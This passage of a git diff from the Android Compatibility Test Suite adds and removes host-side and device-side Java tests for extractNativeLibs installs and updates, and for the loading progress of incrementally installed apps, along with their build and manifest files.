- * Host test to incremental install test apps and run device tests to verify the effect of
- * extractNativeLibs.
- */
-@RunWith(DeviceJUnit4ClassRunner.class)
-public class CtsExtractNativeLibsHostTestIncremental extends CtsExtractNativeLibsHostTestBase {
-    private static final String IDSIG_SUFFIX = ".idsig";
-
-    @Override
-    public void setUp() throws Exception {
-        assumeTrue(isIncrementalInstallSupported());
-        super.setUp();
-    }
-
-    private boolean isIncrementalInstallSupported() throws Exception {
-        return getDevice().hasFeature("android.software.incremental_delivery");
-    }
-    /** Test with a app that has extractNativeLibs=false using Incremental install. */
-    @Test
-    @AppModeFull
-    public void testNoExtractNativeLibsIncremental() throws Exception {
-        installPackageIncremental(TEST_NO_EXTRACT_APK);
-        assertTrue(isPackageInstalled(TEST_NO_EXTRACT_PKG));
-        assertTrue(runDeviceTests(
-                TEST_NO_EXTRACT_PKG, TEST_NO_EXTRACT_CLASS, TEST_NO_EXTRACT_TEST));
-    }
-
-    /** Test with a app that has extractNativeLibs=true using Incremental install. */
-    @Test
-    @AppModeFull
-    public void testExtractNativeLibsIncremental() throws Exception {
-        installPackageIncremental(TEST_EXTRACT_APK);
-        assertTrue(isPackageInstalled(TEST_EXTRACT_PKG));
-        assertTrue(runDeviceTests(
-                TEST_EXTRACT_PKG, TEST_EXTRACT_CLASS, TEST_EXTRACT_TEST));
-    }
-
-    /** Test with a app that has extractNativeLibs=false but with mis-aligned lib files,
-     *  using Incremental install. */
-    @Test
-    @AppModeFull
-    public void testExtractNativeLibsIncrementalFails() throws Exception {
-        String result = installIncrementalPackageFromResource(TEST_NO_EXTRACT_MISALIGNED_APK);
-        assertTrue(result.contains("Failed to extract native libraries"));
-        assertFalse(isPackageInstalled(TEST_NO_EXTRACT_PKG));
-    }
-
-    private void installPackageIncremental(String apkName) throws Exception {
-        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(getBuild());
-        final File apk = buildHelper.getTestFile(apkName);
-        assertNotNull(apk);
-        final File v4Signature = buildHelper.getTestFile(apkName + IDSIG_SUFFIX);
-        assertNotNull(v4Signature);
-        installPackageIncrementalFromFiles(apk, v4Signature);
-    }
-
-    private String installPackageIncrementalFromFiles(File apk, File v4Signature) throws Exception {
-        final String remoteApkPath = TEST_REMOTE_DIR + "/" + apk.getName();
-        final String remoteIdsigPath = remoteApkPath + IDSIG_SUFFIX;
-        assertTrue(getDevice().pushFile(apk, remoteApkPath));
-        assertTrue(getDevice().pushFile(v4Signature, remoteIdsigPath));
-        return getDevice().executeShellCommand("pm install-incremental -t -g " + remoteApkPath);
-    }
-
-    private String installIncrementalPackageFromResource(String apkFilenameInRes)
-            throws Exception {
-        final File apkFile = getFileFromResource(apkFilenameInRes);
-        final File v4SignatureFile = getFileFromResource(
-                apkFilenameInRes + IDSIG_SUFFIX);
-        return installPackageIncrementalFromFiles(apkFile, v4SignatureFile);
-    }
-}
diff --git a/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestInstalls.java b/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestInstalls.java
new file mode 100644
index 0000000..53575c8
--- /dev/null
+++ b/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestInstalls.java
@@ -0,0 +1,99 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.extractnativelibs.cts;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
+import android.cts.host.utils.DeviceJUnit4ClassRunnerWithParameters;
+import android.cts.host.utils.DeviceJUnit4Parameterized;
+import android.platform.test.annotations.AppModeFull;
+
+import com.android.tradefed.util.AbiUtils;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.UseParametersRunnerFactory;
+
+import java.util.ArrayList;
+import java.util.Collection;
+/**
+ * Host test to install test apps and run device tests to verify the effect of extractNativeLibs.
+ */
+@RunWith(DeviceJUnit4Parameterized.class)
+@UseParametersRunnerFactory(DeviceJUnit4ClassRunnerWithParameters.RunnerFactory.class)
+public class CtsExtractNativeLibsHostTestInstalls extends CtsExtractNativeLibsHostTestBase {
+    @Parameter(0)
+    public boolean mIsExtractNativeLibs;
+
+    @Parameter(1)
+    public boolean mIsIncremental;
+
+    @Parameter(2)
+    public String mAbiSuffix;
+
+    /**
+     * Generate parameters for mutations of extract/embedded, incremental/legacy and 32/64/Both ABIs
+     */
+    @Parameterized.Parameters(name = "{index}: Test with mIsExtractNativeLibs={0}, "
+            + "mIsIncremental={1}, mAbiSuffix={2}")
+    public static Collection<Object[]> data() {
+        final boolean[] isExtractNativeLibsParams = new boolean[]{false, true};
+        final boolean[] isIncrementalParams = new boolean[]{false, true};
+        final String[] abiSuffixParams = new String[]{"32", "64", "Both"};
+        ArrayList<Object[]> params = new ArrayList<>();
+        for (boolean isExtractNativeLibs : isExtractNativeLibsParams) {
+            for (boolean isIncremental : isIncrementalParams) {
+                for (String firstAbiSuffix : abiSuffixParams) {
+                    params.add(new Object[]{isExtractNativeLibs, isIncremental, firstAbiSuffix});
+                }
+            }
+        }
+        return params;
+    }
+
+    @Override
+    public void setUp() throws Exception {
+        if (mIsIncremental) {
+            // Skip incremental installations for non-incremental devices
+            assumeTrue(isIncrementalInstallSupported());
+        }
+        if (mAbiSuffix.equals("64")) {
+            // Only run 64-bit tests if device supports both 32-bit and 64-bit
+            final String deviceAbi = getDeviceAbi();
+            assumeTrue(AbiUtils.getBitness(deviceAbi).equals("64"));
+        }
+        super.setUp();
+    }
+
+    /**
+     * Test app installs and runs. Verify native lib dir layout.
+     */
+    @Test
+    @AppModeFull
+    public void testInstallAndRunSuccess() throws Exception {
+        final String testApkName = getTestApkName(mIsExtractNativeLibs, mAbiSuffix);
+        final String testPackageName = getTestPackageName(mIsExtractNativeLibs);
+        final String testClassName = getTestClassName(mIsExtractNativeLibs);
+        installPackage(mIsIncremental, testApkName);
+        assertTrue(isPackageInstalled(testPackageName));
+        assertTrue(runDeviceTests(testPackageName, testClassName, TEST_NATIVE_LIB_LOADED_TEST));
+        assertTrue(checkNativeLibDir(mIsExtractNativeLibs, mAbiSuffix));
+    }
+}
diff --git a/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestLegacy.java b/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestLegacy.java
deleted file mode 100644
index ff58ee6..0000000
--- a/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestLegacy.java
+++ /dev/null
@@ -1,66 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.extractnativelibs.cts;
-
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertTrue;
-
-import android.platform.test.annotations.AppModeFull;
-
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.io.File;
-
-/**
- * Host test to install test apps and run device tests to verify the effect of extractNativeLibs.
- */
-@RunWith(DeviceJUnit4ClassRunner.class)
-public class CtsExtractNativeLibsHostTestLegacy extends CtsExtractNativeLibsHostTestBase {
-    /** Test with a app that has extractNativeLibs=false. */
-    @Test
-    @AppModeFull
-    public void testNoExtractNativeLibsLegacy() throws Exception {
-        installPackage(TEST_NO_EXTRACT_APK);
-        assertTrue(isPackageInstalled(TEST_NO_EXTRACT_PKG));
-        assertTrue(runDeviceTests(
-                TEST_NO_EXTRACT_PKG, TEST_NO_EXTRACT_CLASS, TEST_NO_EXTRACT_TEST));
-    }
-
-    /** Test with a app that has extractNativeLibs=true. */
-    @Test
-    @AppModeFull
-    public void testExtractNativeLibsLegacy() throws Exception {
-        installPackage(TEST_EXTRACT_APK);
-        assertTrue(isPackageInstalled(TEST_EXTRACT_PKG));
-        assertTrue(runDeviceTests(
-                TEST_EXTRACT_PKG, TEST_EXTRACT_CLASS, TEST_EXTRACT_TEST));
-    }
-
-    /** Test with a app that has extractNativeLibs=false but with mis-aligned lib files */
-    @Test
-    @AppModeFull
-    public void testNoExtractNativeLibsFails() throws Exception {
-        File apk = getFileFromResource(TEST_NO_EXTRACT_MISALIGNED_APK);
-        String result = getDevice().installPackage(apk, false, true, "");
-        assertTrue(result.contains("Failed to extract native libraries"));
-        assertFalse(isPackageInstalled(TEST_NO_EXTRACT_PKG));
-    }
-
-}
diff --git a/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestUpdates.java b/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestUpdates.java
new file mode 100644
index 0000000..eec8fc2
--- /dev/null
+++ b/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestUpdates.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.extractnativelibs.cts;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
+import android.cts.host.utils.DeviceJUnit4ClassRunnerWithParameters;
+import android.cts.host.utils.DeviceJUnit4Parameterized;
+import android.platform.test.annotations.AppModeFull;
+
+import com.android.tradefed.util.AbiUtils;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.UseParametersRunnerFactory;
+
+import java.util.ArrayList;
+import java.util.Collection;
+/**
+ * Host test to update test apps with different ABIs.
+ */
+@RunWith(DeviceJUnit4Parameterized.class)
+@UseParametersRunnerFactory(DeviceJUnit4ClassRunnerWithParameters.RunnerFactory.class)
+public class CtsExtractNativeLibsHostTestUpdates extends CtsExtractNativeLibsHostTestBase {
+    @Parameter(0)
+    public boolean mIsExtractNativeLibs;
+
+    @Parameter(1)
+    public boolean mIsIncremental;
+
+    @Parameter(2)
+    public String mFirstAbiSuffix;
+
+    @Parameter(3)
+    public String mSecondAbiSuffix;
+
+    /**
+     * Generate parameters for mutations of extract/embedded, incremental/legacy,
+     * and apps of 32/64/Both ABIs updating to a ABI
+     */
+    @Parameterized.Parameters(name = "{index}: Test with mIsExtractNativeLibs={0}, "
+            + "mIsIncremental={1}, mFirstAbiSuffix={2}, mSecondAbiSuffix={3}")
+    public static Collection<Object[]> data() {
+        final boolean[] isExtractNativeLibsParams = new boolean[]{false, true};
+        final boolean[] isIncrementalParams = new boolean[]{false, true};
+        final String[] abiSuffixParams = new String[]{"32", "64", "Both"};
+        ArrayList<Object[]> params = new ArrayList<>();
+        for (boolean isExtractNativeLibs : isExtractNativeLibsParams) {
+            for (boolean isIncremental : isIncrementalParams) {
+                for (String firstAbiSuffix : abiSuffixParams) {
+                    for (String secondAbiSuffix : abiSuffixParams) {
+                        if (!firstAbiSuffix.equals(secondAbiSuffix)) {
+                            params.add(new Object[]{isExtractNativeLibs, isIncremental,
+                                    firstAbiSuffix, secondAbiSuffix});
+                        }
+                    }
+                }
+            }
+        }
+        return params;
+    }
+
+    @Override
+    public void setUp() throws Exception {
+        if (mIsIncremental) {
+            // Skip incremental installations for non-incremental devices
+            assumeTrue(isIncrementalInstallSupported());
+        }
+        if (mFirstAbiSuffix.equals("64") || mSecondAbiSuffix.equals("64")) {
+            // Only run 64-bit tests if device supports both 32-bit and 64-bit
+            final String deviceAbi = getDeviceAbi();
+            assumeTrue(AbiUtils.getBitness(deviceAbi).equals("64"));
+        }
+        super.setUp();
+    }
+
+    /**
+     * Test update installs and runs. Verify native lib dir layout.
+     */
+    @Test
+    @AppModeFull
+    public void testUpdateAndRunSuccess() throws Exception {
+        final String testPackageName = getTestPackageName(mIsExtractNativeLibs);
+        final String testClassName = getTestClassName(mIsExtractNativeLibs);
+        installPackage(mIsIncremental, getTestApkName(mIsExtractNativeLibs, mFirstAbiSuffix));
+        assertTrue(isPackageInstalled(testPackageName));
+        installPackage(mIsIncremental, getTestApkName(mIsExtractNativeLibs, mSecondAbiSuffix));
+        assertTrue(runDeviceTests(testPackageName, testClassName, TEST_NATIVE_LIB_LOADED_TEST));
+        assertTrue(checkNativeLibDir(mIsExtractNativeLibs, mSecondAbiSuffix));
+    }
+}
diff --git a/hostsidetests/packagemanager/installedloadingprogess/OWNERS b/hostsidetests/packagemanager/installedloadingprogess/OWNERS
new file mode 100644
index 0000000..d697d1f
--- /dev/null
+++ b/hostsidetests/packagemanager/installedloadingprogess/OWNERS
@@ -0,0 +1,5 @@
+# Bug component: 36137
+toddke@google.com
+patb@google.com
+schfan@google.com
+alexbuy@google.com
\ No newline at end of file
diff --git a/hostsidetests/packagemanager/installedloadingprogess/deviceside/Android.bp b/hostsidetests/packagemanager/installedloadingprogess/deviceside/Android.bp
new file mode 100644
index 0000000..7ccbfd2
--- /dev/null
+++ b/hostsidetests/packagemanager/installedloadingprogess/deviceside/Android.bp
@@ -0,0 +1,39 @@
+//
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsInstalledLoadingProgressDeviceTests",
+    defaults: ["cts_support_defaults"],
+    static_libs: [
+        "androidx.test.rules",
+        "androidx.test.ext.junit",
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "ub-uiautomator",
+    ],
+    libs: [
+        "android.test.runner",
+        "android.test.base",
+    ],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+    manifest: "AndroidManifest.xml",
+}
\ No newline at end of file
diff --git a/hostsidetests/packagemanager/installedloadingprogess/deviceside/AndroidManifest.xml b/hostsidetests/packagemanager/installedloadingprogess/deviceside/AndroidManifest.xml
new file mode 100644
index 0000000..ac4c4d7
--- /dev/null
+++ b/hostsidetests/packagemanager/installedloadingprogess/deviceside/AndroidManifest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.tests.loadingprogress.device">
+    <application>
+        <uses-library android:name="android.test.runner"/>
+    </application>
+    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="com.android.tests.loadingprogress.device"/>
+
+</manifest>
\ No newline at end of file
diff --git a/hostsidetests/packagemanager/installedloadingprogess/deviceside/src/com/android/tests/loadingprogress/device/LoadingProgressTest.java b/hostsidetests/packagemanager/installedloadingprogess/deviceside/src/com/android/tests/loadingprogress/device/LoadingProgressTest.java
new file mode 100644
index 0000000..aa8c3a0
--- /dev/null
+++ b/hostsidetests/packagemanager/installedloadingprogess/deviceside/src/com/android/tests/loadingprogress/device/LoadingProgressTest.java
@@ -0,0 +1,173 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.tests.loadingprogress.device;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.annotation.NonNull;
+import android.content.Context;
+import android.content.pm.ApplicationInfo;
+import android.content.pm.LauncherActivityInfo;
+import android.content.pm.LauncherApps;
+import android.content.pm.PackageManager;
+import android.os.ConditionVariable;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.Process;
+import android.os.UserHandle;
+
+import androidx.test.filters.LargeTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.nio.file.Files;
+import java.nio.file.Paths;
+import java.util.List;
+import java.util.function.Predicate;
+
+/**
+ * Device-side test, launched by the host-side test only and should not be called directly.
+ */
+@RunWith(AndroidJUnit4.class)
+@LargeTest
+public class LoadingProgressTest {
+    private static final String TEST_PACKAGE_NAME = "com.android.tests.loadingprogress.app";
+    protected Context mContext;
+    private PackageManager mPackageManager;
+    private UserHandle mUser;
+    private LauncherApps mLauncherApps;
+    private static final int WAIT_TIMEOUT_MILLIS = 1000; /* 1 second */
+    private ConditionVariable mCalled  = new ConditionVariable();
+    private final HandlerThread mCallbackThread = new HandlerThread("callback");
+    private LauncherAppsCallback mCallback;
+
+    @Before
+    public void setUp() {
+        mContext = InstrumentationRegistry.getInstrumentation().getContext();
+        mPackageManager = mContext.getPackageManager();
+        assertNotNull(mPackageManager);
+        mUser = Process.myUserHandle();
+        mLauncherApps = mContext.getSystemService(LauncherApps.class);
+        mCallbackThread.start();
+    }
+
+    @After
+    public void tearDown() {
+        mCallbackThread.quit();
+        if (mCallback != null) {
+            mLauncherApps.unregisterCallback(mCallback);
+        }
+    }
+
+    @Test
+    public void testGetPartialLoadingProgress() throws Exception {
+        // Package is installed but only partially streamed
+        checkLoadingProgress(loadingProgress -> loadingProgress < 1.0f && loadingProgress > 0);
+    }
+
+    @Test
+    public void testReadAllBytes() throws Exception {
+        ApplicationInfo appInfo = mLauncherApps.getApplicationInfo(
+                TEST_PACKAGE_NAME, /* flags= */ 0, mUser);
+        String codePath = appInfo.sourceDir;
+        assertTrue(codePath.toLowerCase().endsWith(".apk"));
+        byte[] apkContentBytes = Files.readAllBytes(Paths.get(codePath));
+        assertNotNull(apkContentBytes);
+        assertTrue(apkContentBytes.length > 0);
+    }
+
+    @Test
+    public void testGetFullLoadingProgress() throws Exception {
+        // Package should be fully streamed now
+        checkLoadingProgress(loadingProgress -> (1 - loadingProgress) < 0.001f);
+    }
+
+    private void checkLoadingProgress(Predicate<Float> progressCondition) {
+        List<LauncherActivityInfo> activities =
+                mLauncherApps.getActivityList(TEST_PACKAGE_NAME, mUser);
+        boolean foundTestApp = false;
+        for (LauncherActivityInfo activity : activities) {
+            if (activity.getComponentName().getPackageName().equals(
+                    TEST_PACKAGE_NAME)) {
+                foundTestApp = true;
+                assertTrue(progressCondition.test(activity.getLoadingProgress()));
+            }
+            assertTrue(activity.getUser().equals(mUser));
+        }
+        assertTrue(foundTestApp);
+    }
+
+    @Test
+    public void testOnPackageLoadingProgressChangedCalledWithPartialLoaded() throws Exception {
+        mCalled.close();
+        mCallback = new LauncherAppsCallback(
+                loadingProgress -> loadingProgress < 1.0f && loadingProgress > 0);
+        mLauncherApps.registerCallback(mCallback, new Handler(mCallbackThread.getLooper()));
+        assertTrue(mCalled.block(WAIT_TIMEOUT_MILLIS));
+    }
+
+    @Test
+    public void testOnPackageLoadingProgressChangedCalledWithFullyLoaded() throws Exception {
+        mCalled.close();
+        mCallback = new LauncherAppsCallback(loadingProgress -> 1 - loadingProgress < 0.001);
+        mLauncherApps.registerCallback(mCallback, new Handler(mCallbackThread.getLooper()));
+        testReadAllBytes();
+        assertTrue(mCalled.block(WAIT_TIMEOUT_MILLIS));
+    }
+
+    class LauncherAppsCallback extends LauncherApps.Callback {
+        private final Predicate<Float> mCondition;
+        LauncherAppsCallback(Predicate<Float> progressCondition) {
+            mCondition = progressCondition;
+        }
+        @Override
+        public void onPackageRemoved(String packageName, UserHandle user) {
+        }
+
+        @Override
+        public void onPackageAdded(String packageName, UserHandle user) {
+        }
+
+        @Override
+        public void onPackageChanged(String packageName, UserHandle user) {
+        }
+
+        @Override
+        public void onPackagesAvailable(String[] packageNames, UserHandle user, boolean replacing) {
+        }
+
+        @Override
+        public void onPackagesUnavailable(String[] packageNames, UserHandle user,
+                boolean replacing) {
+        }
+
+        @Override
+        public void onPackageLoadingProgressChanged(@NonNull String packageName,
+                @NonNull UserHandle user, float progress) {
+            if (mCondition.test(progress)) {
+                // Only release when progress meets the expected condition
+                mCalled.open();
+            }
+        }
+    }
+}
\ No newline at end of file
diff --git a/hostsidetests/packagemanager/installedloadingprogess/hostside/Android.bp b/hostsidetests/packagemanager/installedloadingprogess/hostside/Android.bp
new file mode 100644
index 0000000..72e5fef
--- /dev/null
+++ b/hostsidetests/packagemanager/installedloadingprogess/hostside/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//     http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsInstalledLoadingProgressHostTests",
+    defaults: ["cts_defaults"],
+    srcs:  ["src/**/*.java"],
+    libs: [
+        "cts-tradefed",
+        "tradefed",
+        "compatibility-host-util",
+        "cts-host-utils",
+    ],
+    static_libs: ["cts-install-lib-host"],
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
+
diff --git a/hostsidetests/packagemanager/installedloadingprogess/hostside/AndroidTest.xml b/hostsidetests/packagemanager/installedloadingprogess/hostside/AndroidTest.xml
new file mode 100644
index 0000000..f64e040
--- /dev/null
+++ b/hostsidetests/packagemanager/installedloadingprogess/hostside/AndroidTest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config Package Manager InstalledLoadingProgress API test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsInstalledLoadingProgressDeviceTests.apk" />
+    </target_preparer>
+
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsInstalledLoadingProgressHostTests.jar" />
+    </test>
+</configuration>
diff --git a/hostsidetests/packagemanager/installedloadingprogess/hostside/src/com/android/tests/loadingprogress/host/IncrementalLoadingProgressTest.java b/hostsidetests/packagemanager/installedloadingprogess/hostside/src/com/android/tests/loadingprogress/host/IncrementalLoadingProgressTest.java
new file mode 100644
index 0000000..605e9a9
--- /dev/null
+++ b/hostsidetests/packagemanager/installedloadingprogess/hostside/src/com/android/tests/loadingprogress/host/IncrementalLoadingProgressTest.java
@@ -0,0 +1,116 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.tests.loadingprogress.host;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
+import android.platform.test.annotations.LargeTest;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.incfs.install.IncrementalInstallSession;
+import com.android.incfs.install.adb.ddmlib.DeviceConnection;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.tradefed.util.RunUtil;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.File;
+import java.nio.file.Paths;
+import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
+
+
+/**
+ * atest com.android.tests.loadingprogress.host.IncrementalLoadingProgressTest
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class IncrementalLoadingProgressTest extends BaseHostJUnit4Test {
+    private static final String DEVICE_TEST_PACKAGE_NAME =
+            "com.android.tests.loadingprogress.device";
+    private static final String TEST_APK = "CtsInstalledLoadingProgressTestsApp.apk";
+    private static final String TEST_APP_PACKAGE_NAME = "com.android.tests.loadingprogress.app";
+    private static final String TEST_CLASS_NAME = DEVICE_TEST_PACKAGE_NAME + ".LoadingProgressTest";
+    private static final String IDSIG_SUFFIX = ".idsig";
+    private static final int WAIT_FOR_LOADING_PROGRESS_UPDATE_MS = 2000;
+    private IncrementalInstallSession mSession;
+
+    @Before
+    public void setUp() throws Exception {
+        assumeTrue(getDevice().hasFeature("android.software.incremental_delivery"));
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(getBuild());
+        final File apk = buildHelper.getTestFile(TEST_APK);
+        assertNotNull(apk);
+        final File v4Signature = buildHelper.getTestFile(TEST_APK + IDSIG_SUFFIX);
+        assertNotNull(v4Signature);
+        mSession = new IncrementalInstallSession.Builder()
+                .addApk(Paths.get(apk.getAbsolutePath()),
+                        Paths.get(v4Signature.getAbsolutePath()))
+                .addExtraArgs("-t")
+                .build();
+
+        mSession.start(Executors.newCachedThreadPool(),
+                DeviceConnection.getFactory(getDevice().getSerialNumber()));
+        mSession.waitForInstallCompleted(30, TimeUnit.SECONDS);
+        assertTrue(getDevice().isPackageInstalled(TEST_APP_PACKAGE_NAME));
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        if (mSession != null) {
+            mSession.close();
+        }
+        getDevice().uninstallPackage(TEST_APP_PACKAGE_NAME);
+        assertFalse(getDevice().isPackageInstalled(TEST_APP_PACKAGE_NAME));
+    }
+
+    @LargeTest
+    @Test
+    public void testGetLoadingProgressSuccess() throws Exception {
+        // Check partial loading progress
+        assertTrue(runDeviceTests(DEVICE_TEST_PACKAGE_NAME, TEST_CLASS_NAME,
+                "testGetPartialLoadingProgress"));
+        // Trigger full download
+        assertTrue(runDeviceTests(DEVICE_TEST_PACKAGE_NAME, TEST_CLASS_NAME,
+                "testReadAllBytes"));
+        // Wait for loading progress to update
+        RunUtil.getDefault().sleep(WAIT_FOR_LOADING_PROGRESS_UPDATE_MS);
+        // Check full loading progress
+        assertTrue(runDeviceTests(DEVICE_TEST_PACKAGE_NAME, TEST_CLASS_NAME,
+                "testGetFullLoadingProgress"));
+    }
+
+    @LargeTest
+    @Test
+    public void testOnPackageLoadingProgressChangedCalledWithPartialLoaded() throws Exception {
+        assertTrue(runDeviceTests(DEVICE_TEST_PACKAGE_NAME, TEST_CLASS_NAME,
